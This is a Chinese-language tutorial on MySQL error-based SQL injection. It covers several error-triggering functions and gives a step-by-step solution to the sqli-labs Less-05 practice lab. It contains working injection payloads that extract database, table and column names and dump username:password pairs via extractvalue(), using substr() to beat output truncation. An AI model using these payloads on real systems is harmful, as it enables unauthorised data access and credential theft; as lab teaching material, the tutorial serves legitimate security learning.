这篇文章讲报错注入的原理、常见报错函数,以及 sqli-labs 的 Less-05(extractvalue() 报错注入)题解。
1. 为什么需要报错注入
前面讲 UNION 联合查询注入时提到过一个关键前提:页面必须有数据回显。我们构造的 union select 执行之后,返回的数据得落在页面上某个能看见的位置,才有办法把数据库里的信息一步步读出来。
但这个前提在实战中并不永远成立。很多存在注入漏洞的页面,后台的处理逻辑是:
- SQL 执行成功 → 只返回"查询成功"或者干脆什么提示都没有
- SQL 执行失败 → 页面直接报错,把数据库返回的错误信息原样展示出来
这类页面的共同特点是:看不到任何具体的查询结果数据,但看得到报错信息。
如果照搬 UNION 注入的思路,即使把注入类型、闭合方式、字段数都判断得清清楚楚,union select 也能正常执行并拿到数据,问题出在最后一步——这些数据没有任何地方可以显示出来。页面压根不存在一个能回显查询结果的位置,UNION 注入的整套流程就跑不下去了。
可以类比这样一个场景:你去银行柜台办业务,柜员的系统规定不管查询结果是什么,屏幕都不会显示具体内容,柜员只会告诉你"处理成功"或"处理失败"——你根本套不出任何信息,这就相当于没有回显。但假如系统有个"槽点":一旦报错,会弹出详细的错误弹窗,把出错的具体原因、涉及的数据字段都打印出来,柜员为了解释情况直接把这个报错弹窗念给你听。这时候,如果你能想办法故意让系统在"查询你想要的信息"的过程中报错,并且让这条报错信息里恰好包含了你想知道的内容——比如报错写着"客户 XX 的账户余额 XX 格式异常"——你就等于绕开了"系统不显示结果"这道墙,靠"系统会显示错误详情"这条缝隙把信息套了出来。

报错注入的逻辑跟这个类比完全一致:页面不给你看正常结果,但它会把报错信息原样念出来,我们就想办法让报错信息里"顺带"说出我们想要的数据。
用户在前台页面输入检索内容
↓
后台将输入内容不加区分地拼接成 SQL 语句,交给数据库执行
↓
数据库将执行结果返回给后台
↓
后台将执行结果不加区分地显示到前台页面上
正是因为后台在"拼接输入"和"显示结果"这两个环节都缺乏过滤和校验,我们不仅能让输入的内容影响 SQL 语句的执行逻辑,还能借助数据库自身的报错机制,把想要的数据伪装进报错信息里,再借助后台"不加区分地显示"这个特性,让它出现在页面上。
2. 常见报错函数
报错注入能用的函数有很多,但核心原理都是一样的:利用某个函数在处理特定输入时会抛出异常,并且这个异常信息里会包含我们插入的数据。
1. floor() 报错注入
floor() 本身是取整函数,单独用不会报错。报错注入利用的是它和 rand()、count()、group by 组合使用时,在 MySQL 特定版本里存在的一个已知 bug——当 group by 依据一个包含 rand() 的表达式分组时,rand() 会被计算两次,导致虚拟临时表在插入主键时发生冲突,从而报出主键重复的错误,报错信息里会带上我们拼接进去的内容。
典型结构:
select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x;
报错信息类似:
Duplicate entry 'security1' for key 'group_key'
database() 查出来的库名,就这样被拼进了报错文本里。
2. extractvalue() 报错注入(本文先讲这个)
extractvalue(xml_doc, xpath_string) 是 MySQL 用来在 XML 文档中按 XPath 语法查找节点的函数。它要求第二个参数必须是合法的 XPath 格式,如果故意传入一个不合法的字符串(比如在前面加上 ~ 这种 XPath 语法不允许的符号),函数就会报错,并且把这个不合法的字符串原样打印在报错信息里。
典型结构:
select extractvalue(1,concat(0x7e,(select database()),0x7e));
0x7e 是十六进制的 ~ 符号,作用是制造一个 XPath 语法不认识的开头,从而触发报错,同时把 database() 查出来的内容夹在中间一起显示出来。
concat 是把 0x7e 和 select database() 的结果拼接起来。
比如如果 database() 的结果是 security ,那么拼接后就是 ~security,extractvalue() 不认识这种写法,就会将解析后的结果直接返回到前端,你也就可以看见 ~security 这个结果。结合之前 union 注入的
3. updatexml() 报错注入
原理和 extractvalue() 几乎一样。updatexml(xml_doc, xpath_string, new_value) 是用来更新 XML 文档中某个节点内容的函数,同样要求第二个参数符合 XPath 格式。构造一个非法的 XPath 字符串,就能触发报错并携带数据。
典型结构:
select updatexml(1,concat(0x7e,(select database()),0x7e),1);
这两个函数几乎可以互换使用,效果相同。
上面三条是最常见的,在CTF比赛中几乎只会用到这三条,下面的几种类型可以作为了解
4. name_const() 报错注入
name_const(name, value) 本来是用来给一个值起别名的函数。如果在同一条语句里对同一个别名进行两次 union select,会导致 MySQL 判断出现"字段名重复"的冲突而报错,报错信息里会带出我们设置的那个"别名"内容。
select * from (select name_const(database(),1),name_const(database(),1))x;
5. join() 报错注入
原理和 floor() 类似,也是利用 rand() 在分组统计时被计算两次、导致临时表主键冲突的特性,只是换了一种触发方式,通过多表 join 配合子查询触发同样的重复键报错。
select * from (select 1 union select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a;
6. exp() 报错注入
exp() 是求自然指数的函数,当传入的值超过 MySQL 能表示的浮点数范围时会触发 DOUBLE overflow(浮点数溢出)报错。构造方式是让 exp() 的参数依赖于我们想查询的内容,通过控制传入值的大小让它必然溢出。
select exp(~(select * from(select user())x));
~ 是按位取反运算符,配合 exp() 制造一个必然超出范围的极大值,从而触发溢出报错。
7. 几何函数系列
geometrycollection()、polygon()、multipoint()、multilinestring()、multipolygon()、linestring() 都属于 MySQL 的空间几何数据类型构造函数。它们的共同特点是:参数必须符合特定的几何对象格式,如果传入一个不符合格式的字符串(比如一个子查询的结果),就会因为格式不匹配而报错,报错信息中会包含这个不合法的参数内容。
select geometrycollection((select * from(select * from(select user())a)b));
-- 其余函数用法完全一致,只是换成对应的函数名
select polygon((select * from(select * from(select user())a)b));
select multipoint((select * from(select * from(select user())a)b));
之所以要嵌套三层子查询(select * from(select * from(select ...)a)b),是因为几何函数不接受直接的子查询作为参数,需要先把子查询结果转换成一个"派生表",再从派生表里取值传给几何函数——这是绕过语法限制的固定写法。
总结
| 函数 | 触发报错的原理 |
|---|---|
floor() + rand() + group by |
分组时 rand() 被计算两次,导致临时表主键冲突 |
extractvalue() |
XPath 语法非法 |
updatexml() |
XPath 语法非法 |
name_const() |
字段别名重复冲突 |
join() |
与 floor() 原理相同,触发方式不同 |
exp() |
数值溢出(DOUBLE overflow) |
| 几何函数系列 | 参数不符合几何对象格式 |
[!tip]
一般来说我们只用前三个(floor、extractvalue、updatexml),实战中最常用的是extractvalue()和updatexml(),因为结构简单、不挑 MySQL 版本。
Less-05 extractvalue() 报错注入
信息收集
进入 Less-05,传入 ?id=1,页面只显示 You are in...........——没有数据回显了。
试试其他的,传入 ?id=1':
You have an error in your SQL syntax; ... near ''1'' LIMIT 0,1' at line 1
报错了,说明是字符型,闭合符号是 '。验证闭合:
?id=1' --+
页面恢复 You are in...........,闭合确认。
接着判断字段数,使用 group by / order by:
?id=1' group by 3 --+ → 正常
?id=1' group by 4 --+ → 报错 Unknown column '4'
4 报错 3 不报,字段数为 3(不过在报错注入里其实不需要知道字段数)。
这一步也可以直接使用
union select 1,2,3,...如果字段数不对则会报错:
The used SELECT statements have a different number of columns
经过信息收集我们发现,这道题的特点是:正确无回显,报错有回显——正中报错注入的应用场景。
extractvalue() 函数
extractvalue() 是 MySQL 里的 XML 查询函数,作用是:从一段 XML 内容中,按照 XPath 路径取出指定节点的值。基本语法:
extractvalue(XML_document, XPath_string)
XML_document:要解析的 XML 内容XPath_string:要查询的 XPath 路径
比如有一段 XML:
<user>
<id>1</id>
<username>admin</username>
</user>
想取出 username 节点的内容:
select extractvalue(
'<user><id>1</id><username>admin</username></user>',
'/user/username'
);
-- 返回:admin
但如果第二个参数(XPath 路径)写错了,MySQL 就会直接报错:
select extractvalue(
'<user><id>1</id><username>admin</username></user>',
'~test~'
);
-- 报错:XPATH syntax error: '~test~'
也就是说,extractvalue() 报错时,会把错误的 XPath 内容带出来——这就是它能被用来做报错注入的原因。既然错误信息会显示第二个参数,那我们就可以把想查询的内容拼到第二个参数里。
开始注入
爆数据库名
?id=1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+
页面报错:
XPATH syntax error: '~security~'
库名 security 就这样被夹在两个 ~ 中间带了出来。
爆表名
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) --+
爆列名
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) --+
爆破列名的时候就会发现输出被 extractvalue() 截断了(只保留32个字符),可以利用substr() / substring() 分批输出某一段的内容。
substr() 的语法是 substr(abcdefg,x,y) 其中第一个参数是一串字符串,第二个参数表示从第几个位置开始输出,第三个参数表示输出多少个字符。比如substr(abcdefg,3,2) 输出的就是cd 。
?id=1' and extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),40,30),0x7e)) --+
也就是在内层 select 外面加上 substr(xxxx,40,30) # 数字自己看情况定
substr((select group_concat(column_name) from information_schema.columns where table_name='users'),40,30)
爆字段
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e)) --+
extractvalue() 的报错回显最多显示 32 个字符,如果数据太长会被截断。可以配合 substr() 分段读取:
?id=1' and extractvalue(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,30),0x7e)) --+
?id=1' and extractvalue(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),31,30),0x7e)) --+
......
另外报错注入一次只能带出一行结果,查具体数据时通常要用 limit 0,1、limit 1,1 逐行读取。
报错注入的局限
报错注入依旧存在局限:必须存在回显。这里的"回显"指的不是像 UNION 注入那样要求页面直接展示查询结果,而是要求页面能展示数据库的报错信息。
反过来,如果页面把所有报错信息都屏蔽掉了,无论 SQL 执行成功还是失败,前端展示的内容都一样(比如统一提示"系统繁忙,请稍后再试"),报错注入这条路就走不通了,需要考虑盲注等其他方式。
总结
- 报错注入的适用场景:页面不回显查询结果,但会把 SQL 报错信息原样显示出来
- 核心思路:故意构造会报错的 SQL 语句,让报错信息"顺带"携带我们想查的数据
- 首选函数:
extractvalue()和updatexml(),结构为concat(0x7e, 子查询, 0x7e) - 局限:报错回显有长度限制(约 32 字符),需配合
substr()分段;页面若屏蔽报错则走不通,需要考虑盲注





